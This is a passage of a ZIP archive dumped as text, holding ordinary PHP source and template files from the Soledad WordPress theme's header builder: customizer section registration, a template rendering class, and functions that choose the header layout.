		$this->add_lazy_section( 'penci_header_pb_hamburger_menu_section', esc_html__( 'Hamburger Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_section', esc_html__( 'Custom HTML 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_2_section', esc_html__( 'Custom HTML 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_3_section', esc_html__( 'Custom HTML 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_mobile_section', esc_html__( 'Mobile Custom HTML', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_mobile_2_section', esc_html__( 'Mobile Custom HTML 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_login_register_section', esc_html__( 'Login/Register', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_login_register_mobile_section', esc_html__( 'Mobile Login/Register', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_section', esc_html__( 'Logo', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_mobile_section', esc_html__( 'Logo Mobile', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_sidebar_section', esc_html__( 'Logo Sidebar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_sticky_section', esc_html__( 'Logo Sticky', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_main_menu_section', esc_html__( 'Main Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_mobile_menu_section', esc_html__( 'Mobile Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_news_ticker_section', esc_html__( 'News Ticker', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_form_section', esc_html__( 'Search Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_form_sidebar_section', esc_html__( 'Sidebar Search Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_icon_section', esc_html__( 'Search Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_darkmode_section', esc_html__( 'Dark Mode Switcher', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_second_menu_section', esc_html__( 'Second Navigation Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_section', esc_html__( 'Shortcode 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_2_section', esc_html__( 'Shortcode 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_3_section', esc_html__( 'Shortcode 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_mobile_section', esc_html__( 'Shortcode Mobile 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_social_icon_section', esc_html__( 'Social Icons', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_social_icon_mobile_section', esc_html__( 'Mobile Social Icons', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_third_menu_section', esc_html__( 'Third Navigation', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_1_section', esc_html__( 'Vertical Line 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_2_section', esc_html__( 'Vertical Line 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_3_section', esc_html__( 'Vertical Line 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_4_section', esc_html__( 'Vertical Line 4', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_5_section', esc_html__( 'Vertical Line 5', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_mobile_1_section', esc_html__( 'Mobile Vertical Line 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_mobile_2_section', esc_html__( 'Mobile Vertical Line 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_wishlist_icon_section', esc_html__( 'Wishlist Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_date_time_section', esc_html__( 'Date/Time', 'soledad' ), $this->panelID );

		$this->add_lazy_section( 'penci_header_bottombar_setting_section', esc_html__( 'Header Bottom Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_bottomblockbar_setting_section', esc_html__( 'Header Bottom Block', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_option_section', esc_html__( 'Header Desktop Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_bottom_section', esc_html__( 'Header Sticky Bottom', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_mid_section', esc_html__( 'Header Sticky Middle', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_section', esc_html__( 'Header Sticky Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_top_section', esc_html__( 'Header Sticky Top', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_drawer_container_section', esc_html__( 'Mobile Sidebar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_midbar_setting_section', esc_html__( 'Header Middle Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_bottombar_setting_section', esc_html__( 'Mobile Bottom Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_midbar_setting_section', esc_html__( 'Mobile Middle Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_option_section', esc_html__( 'Mobile Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_topbar_setting_section', esc_html__( 'Mobile Top Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_topbar_setting_section', esc_html__( 'Header Top Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_topblockbar_setting_section', esc_html__( 'Header Top Block', 'soledad' ), $this->panelID );
	}
}
PK     /w\(.Ԁ      builder/class/sections.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW;

/**
 * Class Theme Soledad Customizer
 */
class HeaderBuilderCustomizer {
	/**
	 * @var Customizer
	 */
	private static $instance;

	/**
	 * @var Customizer
	 */
	private $customizer = null;

	/**
	 * Section of Customizer
	 */
	private $list_elements = array(
		'pb_block',
		'pb_block_2',
		'pb_button',
		'pb_button_2',
		'pb_button_3',
		'pb_bookmark',
		'pb_darkmode',
		'pb_button_mobile',
		'pb_button_mobile_2',
		'pb_cart_icon',
		'pb_compare_icon',
		'pb_date_time',
		'pb_dropdown_menu',
		'pb_hamburger_menu',
		'pb_html_ad',
		'pb_html_ad_2',
		'pb_html_ad_3',
		'pb_html_ad_mobile',
		'pb_html_ad_mobile_2',
		'pb_login_register',
		'pb_login_register_mobile',
		'pb_logo',
		'pb_logo_mobile',
		'pb_logo_sidebar',
		'pb_logo_sticky',
		'pb_main_menu',
		'pb_mobile_menu',
		'pb_news_ticker',
		'pb_search_form',
		'pb_search_form_sidebar',
		'pb_search_icon',
		'pb_second_menu',
		'pb_shortcode',
		'pb_shortcode_2',
		'pb_shortcode_3',
		'pb_shortcode_mobile',
		'pb_social_icon',
		'pb_social_icon_mobile',
		'pb_third_menu',
		'pb_vertical_line_1',
		'pb_vertical_line_2',
		'pb_vertical_line_3',
		'pb_vertical_line_4',
		'pb_vertical_line_5',
		'pb_vertical_line_mobile_1',
		'pb_vertical_line_mobile_2',
		'pb_wishlist_icon',
	);

	private $list_settings = array(
		'penci_header_bottombar_setting_section',
		'penci_header_bottomblockbar_setting_section',
		'penci_header_desktop_option_section',
		'penci_header_desktop_sticky_bottom_section',
		'penci_header_desktop_sticky_mid_section',
		'penci_header_desktop_sticky_section',
		'penci_header_desktop_sticky_top_section',
		'penci_header_drawer_container_section',
		'penci_header_midbar_setting_section',
		'penci_header_mobile_bottombar_setting_section',
		'penci_header_mobile_midbar_setting_section',
		'penci_header_mobile_option_section',
		'penci_header_mobile_topbar_setting_section',
		'penci_header_topbar_setting_section',
		'penci_header_topblockbar_setting_section',
	);

	/**
	 * Construct
	 */
	private function __construct() {
		// Need to load Customizer early for this kind of request.
		if ( isset( $_REQUEST['action'] ) && 'penci_fw_customizer_disable_panel' === $_REQUEST['action'] ) {
			$this->customizer = \SoledadFW\Customizer\Customizer::get_instance();
		}

		if ( ! is_admin() || is_customize_preview() ) {
			add_filter( 'soledad_fw_register_lazy_section', array( $this, 'register_lazy_section' ) );
			add_action( 'soledad_fw_register_customizer_option', array( $this, 'load_customizer' ), 95 );
		}
	}

	/**
	 * @return Customizer
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function register_lazy_section( $result ) {

		global $wp;
		if ( isset( $wp->query_vars['search'] ) ) {
			return $result;
		}

		$elements = $this->list_elements;
		$settings = $this->list_settings;

		$elements_path = PENCI_SOLEDAD_DIR . '/inc/builder/elements/';
		$settings_path = PENCI_SOLEDAD_DIR . '/inc/builder/customizer/sections/';

		foreach ( $elements as $eid ) {
			$el_id              = 'penci_header_' . $eid . '_section';
			$result[ $el_id ][] = "{$elements_path}/{$eid}/settings.php";
		}

		foreach ( $settings as $sid ) {
			$result[ $sid ][] = "{$settings_path}/{$sid}.php";
		}

		return $result;
	}

	public function load_customizer() {
		$this->customizer = Customizer\Customizer::get_instance();
		new Customizer\HeaderBuilderOption( $this->customizer, 1 );
	}
}
PK     /w\if      builder/class/template.phpnu [        <?php
/**
 * Template
 *
 * @author      PenciDesign
 * @license     https://opensource.org/licenses/MIT
 */

/**
 * Base class for any templating that used on the themes
 *
 * @author pencidesign
 */
class Template {
	private $vars = array();
	private $templateDir;
	private $templatePostfix;

	public function __construct( $directory = 'view/', $postfix = '.php' ) {
		$this->templateDir     = $directory;
		$this->templatePostfix = $postfix;
	}

	public function __get( $name ) {
		return $this->vars[ $name ];
	}

	public function __set( $name, $value ) {
		$this->vars[ $name ] = $value;
	}

	public function assign_array( $arr ) {
		foreach ( $arr as $key => $value ) {
			$this->vars[ $key ] = $value;
		}
	}

	public function clear_prev_data() {
		if ( ! empty( $this->vars ) ) {
			foreach ( $this->vars as $key => $val ) {
				$this->$key = null;
			}
		}
	}

	public function render( $templateName, $var = array(), $output = false ) {
		$this->clear_prev_data();

		if ( ! empty( $var ) ) {
			if ( is_array( $var ) ) {
				$this->assign_array( $var );
			}
		}

		extract( $this->vars );
		if ( ! $output ) {
			ob_start();
		}
		include $this->templateDir . $templateName . $this->templatePostfix;
		if ( ! $output ) {
			return ob_get_clean();
		}
	}
}
PK     /w\`I	  	  -  builder/customizer-template/header-column.phpnu [        <?php
$setting_align = "penci_hb_align_desktop_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, 'normal' );

$setting_display = "penci_hb_display_desktop_{$row}_{$column}";
$default_display = penci_get_builder_mod($setting_display);

$setting_flex = "penci_hb_flex_desktop_{$row}_{$column}";
$default_flex = penci_get_builder_mod($setting_flex);

$setting_element = "penci_hb_element_desktop_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element, 'normal' );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::desktop_header_element();
		if ( is_array( $default_element ) && ! empty( $default_align ) ) {
			foreach ( $default_element as $element ) {
				if ( isset( $elements[ $element ] ) && $elements[ $element ] ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ],
					), true );
				}
			}
		}
		?>
		<div class="header-setting"><i class="fa fa-cog"></i></div>
    </div>
	<div class="header-column-option-tooltip">
        <div class="header-column-option-align">
            <h3><?php esc_html_e('Align', 'soledad'); ?></h3>
            <ul>
                <li class="left <?php echo esc_attr($default_align) === 'left' ? 'active' : ''; ?>" data-align="left"><?php esc_html_e('Left', 'soledad'); ?></li>
                <li class="center <?php echo esc_attr($default_align) === 'center' ? 'active' : ''; ?>" data-align="center"><?php esc_html_e('Center', 'soledad'); ?></li>
                <li class="right <?php echo esc_attr($default_align) === 'right' ? 'active' : ''; ?>" data-align="right"><?php esc_html_e('Right', 'soledad'); ?></li>
            </ul>
        </div>
        <div class="header-column-option-flex">
            <h3><?php esc_html_e('Direction', 'soledad'); ?></h3>
            <ul>
                <li class="left <?php echo esc_attr($default_flex) === 'row' ? 'active' : ''; ?>" data-flex="row"><?php esc_html_e('Row', 'soledad'); ?></li>
                <li class="center <?php echo esc_attr($default_flex) === 'column' ? 'active' : ''; ?>" data-flex="column"><?php esc_html_e('Column', 'soledad'); ?></li>
            </ul>
        </div>
    </div>
</div>PK     /w\R    ;  builder/customizer-template/header-mobile-drawer-column.phpnu [        <?php
$setting_element = "penci_hb_element_mobile_drawer_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_drawer_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     /w\o    4  builder/customizer-template/header-sticky-column.phpnu [        <?php
$setting_align = "penci_hb_align_desktop_sticky_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align );

$setting_element = "penci_hb_element_desktop_sticky_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::desktop_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     /w\x-    1  builder/customizer-template/header-mobile-row.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option" data-section="penci_header_mobile_<?php echo esc_html( $row ) ?>bar_setting">
        <i class="fa fa-cog"></i> <?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Bar', 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'left', 'center', 'right' );

	foreach ( $columns as $column ) {
		$template->render( 'header-mobile-column-' . $row, array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     /w\٣J    .  builder/customizer-template/header-builder.phpnu [        <?php
if ( ! isset( $_GET['layout_id'] ) ) {
	return false;
}
$title       = get_the_title( $_GET['layout_id'] );
$preview_url = add_query_arg( [ 'view-header-layout' => $_GET['layout_id'] ], home_url() );
?>
<div class="header-builder">

    <div class="header-builder-top-header flex-row">
        <div class="device-mode flex-col flex-left">
            <div class="device-mode-desktop" data-mode="desktop">
                <span><?php esc_html_e( 'Desktop', 'soledad' ); ?></span>

            </div>
            <div class="device-mode-mobile" data-mode="mobile">
                <span><?php esc_html_e( 'Tablet / Phone', 'soledad' ); ?></span>
            </div>
        </div>
        <div class="header-builder-top-menu notice-edit flex-col flex-none">
            <div class="top-edit-screen">
                <span><?php esc_attr_e( 'You are currently editing the template:' ); ?> <strong><?php echo esc_attr( $title ); ?></strong></span>
                <a class="preview-header" target="_blank"
                   href="<?php echo esc_url( $preview_url ); ?>"><?php esc_attr_e( 'Preview' ); ?></a>
            </div>
        </div>
        <div class="header-builder-top-menu flex-col flex-right">
            <div class="nav-right">
                <div class="top-menu close">
                    <i class="fa fa-close"></i>
                </div>
            </div>
        </div>
    </div>

    <div class="desktop-mode header-tab">
        <ul>
            <li class="normal" data-desktop-mode="normal" data-section="penci_header_desktop_option">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Normal Header', 'soledad' ); ?>
            </li>
            <li class="sticky" data-desktop-mode="sticky" data-section="penci_header_desktop_sticky">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Sticky Header', 'soledad' ); ?>
            </li>
        </ul>
    </div>


    <div class="mobile-mode header-tab">
        <ul>
            <li class="menu" data-mobile-mode="mobile_menu" data-section="penci_header_mobile_option">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Mobile Header', 'soledad' ); ?>
            </li>
            <li class="drawer" data-mobile-mode="drawer" data-section="penci_header_drawer_container">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Mobile Sidebar', 'soledad' ); ?>
            </li>
        </ul>
    </div>


    <div class="header-builder-body">

        <!-- Desktop -->
        <div class="header-builder-device header-builder-desktop" data-device="desktop">
            <div class="header-builder-wrapper">
				<?php

				$default_rows = 'topblock,top,bottom,mid, bottomblock';
				$rows         = penci_get_builder_mod( 'penci_hb_arrange_bar', $default_rows );
				$rows         = explode( ',', $rows );
				if ( is_array( $rows ) ) {
					foreach ( $rows as $row ) {
						$template->render( 'header-row', array(
							'row'      => $row,
							'template' => $template
						), true );
					}
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_desktop_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Desktop -->

        <!-- Desktop Sticky -->
        <div class="header-builder-device header-builder-desktop-sticky" data-device="desktop_sticky">
            <div class="header-builder-wrapper">
				<?php
				$sticky_row = [ 'top', 'mid', 'bottom' ];
				foreach ( $sticky_row as $row ) {
					$template->render( 'header-sticky', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_sticky_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => isset( $value['title'] ) ? $value['title'] : $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Desktop Sticky -->

        <!-- Mobile -->
        <div class="header-builder-device header-builder-mobile" data-device="mobile">
            <div class="header-builder-wrapper">
				<?php
				$rows = array( 'top', 'mid', 'bottom' );
				foreach ( $rows as $row ) {
					$template->render( 'header-mobile-row', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_mobile_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value
						), true );
					}
				}
				?>
            </div>
        </div><!-- Mobile -->

        <!-- Mobile Drawer -->
        <div class="header-builder-device header-builder-mobile-drawer" data-device="mobile_drawer">
            <div class="header-builder-wrapper">
				<?php
				$rows = array( 'top' );
				foreach ( $rows as $row ) {
					$template->render( 'header-mobile-drawer', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_mobile_drawer_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Drawer -->

    </div>
</div>
PK     /w\j/ ~  ~  -  builder/customizer-template/header-sticky.phpnu [        <div class="header-builder-sticky header-builder-sticky-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option" data-section="penci_header_desktop_sticky_<?php echo esc_html( $row ); ?>">
        <i class="fa fa-cog"></i> <?php echo esc_html__( 'Sticky Bar - ' . $row, 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'left', 'center', 'right' );
	foreach ( $columns as $column ) {
		$template->render( 'header-sticky-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     /w\j=z  z  8  builder/customizer-template/header-mobile-column-mid.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     /w\{	"   "   &  builder/customizer-template/header.phpnu [        <?php
get_header();
get_footer();
PK     /w\oaH    4  builder/customizer-template/header-mobile-drawer.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option">
		<?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Content', 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'center' );

	foreach ( $columns as $column ) {
		$template->render( 'header-mobile-drawer-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     /w\v    .  builder/customizer-template/header-element.phpnu [        <?php
$section_id = 'penci_header_' . $key;
if ( ! empty( $settings ) ) {
	$section_id = $settings;
}
?>
<div class="header-element <?php echo esc_attr( $key ); ?> open-section" data-element="<?php echo esc_attr( $key ); ?>"
     data-section="<?php echo esc_attr( $section_id ); ?>">
    <span class="header-element-title">
        <?php echo esc_html( $value ); ?>
    </span>
    <span class="header-element-close"></span>
</div>
PK     /w\q2    8  builder/customizer-template/header-mobile-column-top.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) && isset( $elements[ $element ] ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     /w\j=z  z  ;  builder/customizer-template/header-mobile-column-bottom.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     /w\	    *  builder/customizer-template/header-row.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option"
         data-section="penci_header_<?php echo esc_html( $row ) ?>bar_setting">
        <i class="fa fa-cog"></i> <?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Bar', 'soledad' ); ?>
    </div>
    <div class="header-builder-row-drag-handle"><i class="fa fa-arrows"></i></div>
	<?php
	$columns = array( 'left', 'center', 'right' );
	if ( 'topblock' === $row || 'bottomblock' === $row ) {
		$columns = [ 'center' ];
	}
	foreach ( $columns as $column ) {
		$template->render( 'header-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     /w\B)Yv        builder/index.phpnu [        <?php
// nothing here
PK     /w\~L  L    builder/penci-builder.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

use Elementor\Plugin;
use SoledadFW\Customizer\CustomizerOptionAbstract;

define( 'PENCI_BUILDER_PATH', PENCI_SOLEDAD_DIR . '/inc/builder/' );
define( 'PENCI_BUILDER_URL', PENCI_SOLEDAD_URL . '/inc/builder/' );
require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/template.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/menu-callback.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/builder_helper.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/header_builder.php';
require_once PENCI_SOLEDAD_DIR . '/inc/builder/customizer/style.php';

HeaderBuilder::getInstance();

add_action(
	'init',
	function () {
		if ( class_exists( '\SoledadFW\Customizer\CustomizerOptionAbstract' ) ) {
			require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/builder_panel.php';
			require_once PENCI_SOLEDAD_DIR . '/inc/builder/class/sections.php';
			\SoledadFW\HeaderBuilderCustomizer::getInstance();
		}
	}
);

if ( ! function_exists( 'penci_check_theme_mod' ) ) {
	function penci_check_theme_mod() {
		$val          = false;
		$page_data    = get_theme_mod( 'pchdbd_all' );
		$page_archive = get_theme_mod( 'pchdbd_archive' );
		$page_posts   = get_theme_mod( 'pchdbd_post' );
		$page_woo     = get_theme_mod( 'pchdbd_woocommerce' );
		$page_pages   = get_theme_mod( 'pchdbd_page' );
		$page_home    = get_theme_mod( 'pchdbd_homepage' );
		if ( ! empty( $page_data ) ) {
			$val = true;
		}
		if ( ! empty( $page_woo ) && function_exists( 'is_woocommerce' ) && ( is_woocommerce() ) ) {
			$val = true;
		}
		if ( ! empty( $page_home ) && ( is_home() || is_front_page() ) ) {
			$val = true;
		}
		if ( ! empty( $page_archive ) && is_archive() ) {
			$val = true;
		}
		if ( ! empty( $page_posts ) && is_single() ) {
			$val = true;
		}
		if ( ! empty( $page_pages ) && is_page() ) {
			$val = true;
		}
		if ( is_page() ) {

			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );

			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$val = true;
			}
		}
		if ( is_singular() && ! is_page() ) {
			$single_check = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			if ( $single_check ) {
				$val = true;
			}
		}
		if ( is_singular( 'penci_builder' ) || is_singular( 'penci-block' ) ) {
			$val = true;
		}
		if ( isset( $_GET['view-header-layout'] ) ) {
			$val = true;
		}
		if ( is_customize_preview() && isset( $_GET['layout_id'] ) ) {
			$val = true;
		}

		if ( get_theme_mod( 'penci_vertical_nav_show' ) ) {
			$val = false;
		}

		return $val;
	}
}

if ( ! function_exists( 'penci_get_header_builder_id' ) ) {
	function penci_get_header_builder_id() {
		$val          = '';
		$page_data    = get_theme_mod( 'pchdbd_all' );
		$page_archive = get_theme_mod( 'pchdbd_archive' );
		$page_posts   = get_theme_mod( 'pchdbd_post' );
		$page_woo     = get_theme_mod( 'pchdbd_woocommerce' );
		$page_pages   = get_theme_mod( 'pchdbd_page' );
		$page_home    = get_theme_mod( 'pchdbd_homepage' );
		if ( ! empty( $page_data ) ) {
			$val = $page_data;
		}
		if ( ! empty( $page_woo ) && function_exists( 'is_woocommerce' ) && ( is_woocommerce() ) ) {
			$val = $page_woo;
		}
		if ( ! empty( $page_home ) && ( is_home() || is_front_page() ) ) {
			$val = $page_home;
		}
		if ( ! empty( $page_archive ) && is_archive() ) {
			$val = $page_archive;
		}
		if ( ! empty( $page_posts ) && is_single() ) {
			$val = $page_posts;
		}
		if ( ! empty( $page_pages ) && is_page() ) {
			$val = $page_pages;
		}
		if ( is_page() ) {

			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );

			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$val = $data_check['header_builder_layout'];
			}
		}
		if ( is_singular() && ! is_page() ) {

			$single_id = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );

			if ( $single_id ) {
				$val = $single_id;
			}
		}

		return $val;
	}
}

if ( ! function_exists( 'penci_can_render_footer' ) ) {
	function penci_can_render_footer() {
		$render = false;

		$footer_site    = get_theme_mod( 'penci_footer_builder_layout' );
